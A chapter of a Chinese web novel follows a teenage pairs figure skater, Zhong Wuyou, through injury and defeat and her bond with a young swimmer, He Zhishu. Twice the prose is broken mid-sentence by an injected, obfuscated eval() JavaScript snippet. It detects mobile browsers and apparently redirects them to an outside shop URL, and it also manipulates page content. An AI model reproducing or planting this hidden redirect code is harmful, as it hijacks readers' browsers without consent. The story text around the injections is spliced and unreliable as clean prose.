这一路上何知澍都在暗暗地想,名古屋大概是一座会被游客忽略的城市。它夹在关西和关东之间,大多时候会被人忽略,又因为景点类型单一,会让人觉得无聊乏味。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533821|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过喜欢历史人文的人大概无法放过这里,它虽然是一座工业城市,但这片土地曾被织田信长、丰臣秀吉、德川家康等一众武士书写下追求极致的精神。 没有过度进行商业化旅游业的开发,反倒是多了一些务实淳朴的味道。 这样想着,他们几个人走到了一座神社前。 这座神社的规模非常非常小,黑色铜瓦和红枫形成强烈的视觉冲击。何知澍抱着来都来了的心情走了进去,按照网上说的流程做祈福。 他在木箱里投了100日元纸币,拿起旁边的签筒晃了晃。 直到一根带着数字的竹签甩落在地。 他根据竹签上的数字找到对应的签纸。 白纸黑字的签文最上方的位置写着,“大吉” “枯木遇春开 正求云外望” “新更始见财旧用多成破” 求签求神一事是为了在自己心意已决的情况下多找一个寄托,他过去从不信这些,却因为这几天在观众席上见证了太多的眼泪和祷告,生出了想抽一签的想法。 运气好,是他想要的一剂定心丸。 何知澍咧嘴扬起一个微笑,随即将签纸卷起放在钱包里。沈漪的眼很尖,一下瞥到了上方的“大吉”。 “欸,是好签欸。说明师弟你接下来一定顺风顺水。” “那最好不过了。”何知澍对着她笑笑,并没有摇头否认。 他没有说其实这签不是为了他自己求的,是为了钟梧攸。 如果神明能听见,请为她降临一些好运吧。 花滑全锦赛自由滑在即。 钟梧攸和赵一轩在倒数第三位的次序出场。 他们滑到冰场中央的时候已无暇顾及其他。赵一轩在短赛前就负上了肩伤,短节目后情况还恶化了,现在考斯滕里面还缠了几圈肌贴,钟梧攸的脚踝也有点不太好受。 柴可夫斯基的曲子缓缓响起第一个乐点,他们只能将所有的注意力都放回身体上。 抛跳落地时候在晃,扶冰才没摔。 赵一轩在连跳时没能接上。 双人步法的最后编排是一个大弧线,音乐急转直下,两人定住。 这一版《天鹅湖》的结局不是白天鹅战胜魔王和王子大团圆,而是白天鹅难逃恶魔的魔爪,王子含恨自尽。 延续了上一次两人比赛的惨况,这一场他俩的排名依旧惨不忍睹。 钟梧攸坐在长椅上解冰刀套,整个人身上提不起什么劲,指尖软绵绵地搭在冰鞋的鞋带上,老半天解不开一个结。斗争了一会把一只解开,她整个人脱力靠在墙边呼出一口气。 俱乐部的康复师站在她身旁,正帮换下考斯滕的赵一轩揉药油。今天用的这种药油味道很刺鼻,让钟梧攸深呼出一口气之后就一直是屏气状态。 她听到赵一轩倒吸一口凉气,忍着痛发出的嘶声。 作为运动员她当然明白失败并不是宣判。 或许以后就会好的。 或许吗?那意味着未知数。 以后吗?那又是多遥远的以后呢? 这场游戏好像已经耗尽了她以往十六年的所有心力,接下来她要怎么对抗。 她不知道。 她现在只觉得何知澍求的那个签,好像不太准。 15.Ch.15 全锦赛结束之后,对没有拿得任何比赛资格的钟梧攸和赵一轩来说,十二月虽然才刚刚开始,他们却已经可以迎来休赛季了。 赵一轩的肩膀情况并没有好转,举手之间的动作都能疼得让他倒吸一口凉气,还要缓好久。他的训练紧急暂停了,开始去进行各种理疗,于是只剩下钟梧攸一个人独自面对教练。 赵一轩会来,但不再上冰训练。 少了一个人,今年也没有入选国家集训队,钟梧攸所接受的待遇大打折扣。 从全锦赛结束后回北京,钟梧攸终于晓得真正被漠视是什么感受。先前虽然因为协会转项,但多少依靠着搭档的父母是前国手的缘故,她所受到的保障和待遇并不太差。 自从赵一轩接受治疗不再正常训练开始,她的情况就大不一样了。 钟梧攸拍开手套上的冰屑无奈地笑笑,她扶腰站起滑到场边,收好自己的手机支架。俱乐部的教练近两个月对她是三天打鱼两天晒网,她只能靠自己架着手机一遍遍复盘自己的跳跃动作。 她转到俱乐部的最先一段时间还和Tara保持着联系,维持到她转双人滑的那个赛季。 是她先开始不主动说话的。 因为她不知道从何谈起,更不知道如何向这位帮了她这么多的导师开口。 这一次是Tara来联系她的,在全锦赛自由滑结束后她落地北京的那个晚上。 北京的冬天一如既往的冷,她如同初来乍到的那一年一样还是没能适应下这种天气,觉得这种冷先是透过衣服渗进皮肤,再蔓延到四肢百骸,冷得她锥心刺骨。 钟梧攸窝在房间的飘窗上,看着夜幕中的一盏盏灯火,接到了一个跨洋电话。 “Joy,最近怎么样?” “一切都还好吗?” 老实说,钟梧攸在赛场之外的地方并不是一个情绪外露的人。她的长相整体偏硬冷,不做任何表情的时候就是一副生人勿扰的冷脸状态。人呈现出来的状态源于她的内质,小时候跟着父母辗转在不同的国家和城市,没有一个固定的环境,让她建立了一种极强的防御机制。 不轻易在一件事上投入,这是她和世界相处的方式。 她总是足够冷静,足够清醒。 除了花样滑冰。 因为父母工作的原因,她不会固定在一个地方待很久。在她上幼儿园的几年里,她换了数十个学校,要不停地接受新的环境新的面孔。这种情况虽然在她回香港生活上学之后就已经戛然而止了,却还是为她今后的为人处世之道烙下了一块红痕。 但花样滑冰不一样,她是这么多年各种不确定因子之下的唯一例外。从她在莫斯科走上冰面接受训练开始,无论她去到哪里,练习花滑是唯一的不变值。 更何况,这个地方她投入了大量的成本,前期也给了她可预期的回报。 这是她倾注上所有心血的东西,因此在这件事上,绝大多数原始的性格得以不再克制,而是情不自禁地表露。 所以她无法摸着心口,风轻云淡地对过往恩师的提问说出,“我很好,我没事。”这样的回答。 一点都不好。 努力没有回报这种感觉真的一点都不好。 挫败感堆积久了是会把人的意气和锐利收回的,意气和锐利是难再生之物,也是运动员最不可缺的心性。 钟梧攸在电话这头开始哽咽,她真的受够了这种感觉,比起不安于现状,更可怕的是她根本动弹不得。 “不太好。” “Tara,我应该怎么办呢?” 电话两头都陷入了无端的沉默,从这个晚上开始钟梧攸会把在训练场录下的部分技术动作发给Tara,让她进行一些指点。 这段时间并没有太长,只有两周左右,但因为心态的浮沉让钟梧攸觉得自己像是熬了一个周期整整四年一样,已经可以被冠上“苍老”这个形容词。 得知今年游泳短池世锦赛在北京举行的时候,已经是比赛开赛的第二天了。 亚运会结束之后两个月不到就是世锦赛,何知澍早半个月前就断了网,她又沉浸在自己的情绪漩涡中不可自拔了好一会,和何知澍整整断了有一个月的联系。 钟梧攸去网上看了一眼赛程表,时间上她今晚结束训练后是能赶上他的比赛的。 不曾想平台上的票早就被一扫而空,钟梧攸懊恼地叹了口气,退出购票软件,重新将手机卡在手机支架上。 架好后刚准备开始训练,赵一轩的身影就出现在了自己面前。 他今天穿了训练服,手上还拿着一双冰鞋。 看样子他今天是要恢复上冰了。 “肩感觉怎么样了?” “好了一些。”赵一轩笑笑,但看起来并不是好心情的样子。 讽刺的是,在她和赵一轩进行了几组步法训练之后,“阔别已久”的教练终于现身了,于是接下来一个下午的时间两个人都在接受跳跃方面的训练。 她和赵一轩牵手搭档有一段时间,能很明显地感觉到他整个人心不在焉,不似往常,还有些心事重重。 “姐的跳跃见涨,之前就比我好太多了。现在更是和我不是一个层级的了。” 钟梧攸在听这句话时注意力全然放在了录像回放上。 “慢慢来,你也会好的。” “真的吗?”赵一轩侧目看向她。 女孩原本全神贯注在屏幕上的脚步动作,在他的一席话间瞬间把注意力转移。 这着实在不符合他们牵手搭档以来的交流风格。 两个人的成绩并不出彩,但总是有要坚持下去的一颗心,和刻苦的韧性。他们互相勉励走过四季,钟梧攸比他要年长一些,赛场经验也比他足,除却搭档这个关系,他把钟梧攸看作良师益友。她说的所有意见他一一采纳,她的鼓励和夸赞他照搬全收,她对他们的展望他也深信不疑。 努力是会有回报的,他们会有这一天的。 眼见在每日的训练下各项指数都有所好转,却在这个赛季对他们来说至关重要的比赛前负上伤。 外界只看成绩说话。 钟梧攸一时间会成为弃子,压在他们身上的舆论又打回了原形。 扶不上的阿斗和沉湖不起的天才少女。 于是这是他第一次对钟梧攸说的话进行反问,真的吗?真的会有那一天吗? 他欲言又止。 最终又开口问她,“你的哮喘症怎么样了?” “不知不觉就好多了。”这是实在话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535785|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转俱乐部的初期她得到了非常科学的康复训练计划和医疗保障,转双人之后不再死磕体重和跳跃,她的身体状态总体而言是上升不少。 “那就好。” 钟梧攸迎上他的目光,赵一轩眉眼带笑地望着她,言语真诚恳切,“姐,你信我,你一定会越来越好的。” 钟梧攸看出他的欲言又止,对他的言外之意有了大概的猜测,不过不敢确认,也不想确认。 可她无法干涉他人的决定,也不想他人因情分受自己裹挟而做出违心的决定,哪怕这个决定对自己是百害而无一利的。 “一轩,如果一件事让你背负了太多,你感觉到累了,你就休息,放弃也可以的。” “那不是逃兵。” “如果你在做一件事,不管你做了这件事多久,也不管周围人或者父母家人是怎么说,只要这件事给你带来的痛苦大于欢愉这样的成本已经不太值得了,那就考虑放手吧。” 她收起手机,折叠起手机支架,不敢再和赵一轩对视上,丢下一句,“你要问你自己还愿不愿意做这件事”,就转身离开训练馆,自顾自地给今天的训练画上了句号。 从冰丝带去到水立方只需要沿着81路公交坐七个站,再步行六七百米左右。 这里就是国家游泳中心,钟梧攸心里很清楚她大概不会这样在场馆外轻而易举地和何知澍偶遇上,但她还是在这一站下了车。 现在是快晚上九点,男子蝶泳200米大概已经结束了。 她拿起手机搜索起赛况。 “今日是短池世锦赛比赛的第二日,在刚刚结束的男子200米蝶泳项目中,中国选手何知澍刷新了自己两个月前在亚运会上的个人最好成绩,获得季军,这也是中国男蝶在世锦赛上的又一个里程碑。何知澍选手今年年仅17岁,未来可期。” 她从微博分屏到微信,和他发了简短的一句,“恭喜。” 她看着眼前这座恢弘的现代建筑静默了几秒,想象场馆里面如今会是如何的一番景象。 脑海里有很壮观的画面。 她转身离开,准备走回公交车站。 “梧攸。” 钟梧攸当然能认出这道声音的主人,唯恐自己生出幻觉,她不可置信地别过头转身。 在她仅有的十六年人生里,除了花样滑冰并没有什么惊天动地的事情,也没有什么能让她陡然生出这就是宿命一般的事情。 花样滑冰是她人生的特殊项,好像何知澍也是。 她刚刚好像忽略了200蝶已经结束了多久,此时何知澍穿着自己的休闲装出现在离自己几步之遥的地方,想来已经是连颁奖典礼和采访都结束了相当长的时间了。 她在香港上中学的时候,有一门写作课,写作课的老师说,想要写作,就必须得有一双善于观察的眼睛,先观察再落笔。 此时此刻,她觉得老师说得可太对了。 北京下雪了。 在这个四处都亮着灯的地方,雪在光下漾开,亮闪闪的,泛着细细的碎光,像是在上好的锦缎上流动的金箔。 她的中文词库很匮乏,此情此景只想起了“浮光跃金”这个词。 此时此刻,她要描绘和何知澍之间,想到的居然是,“宿命感”。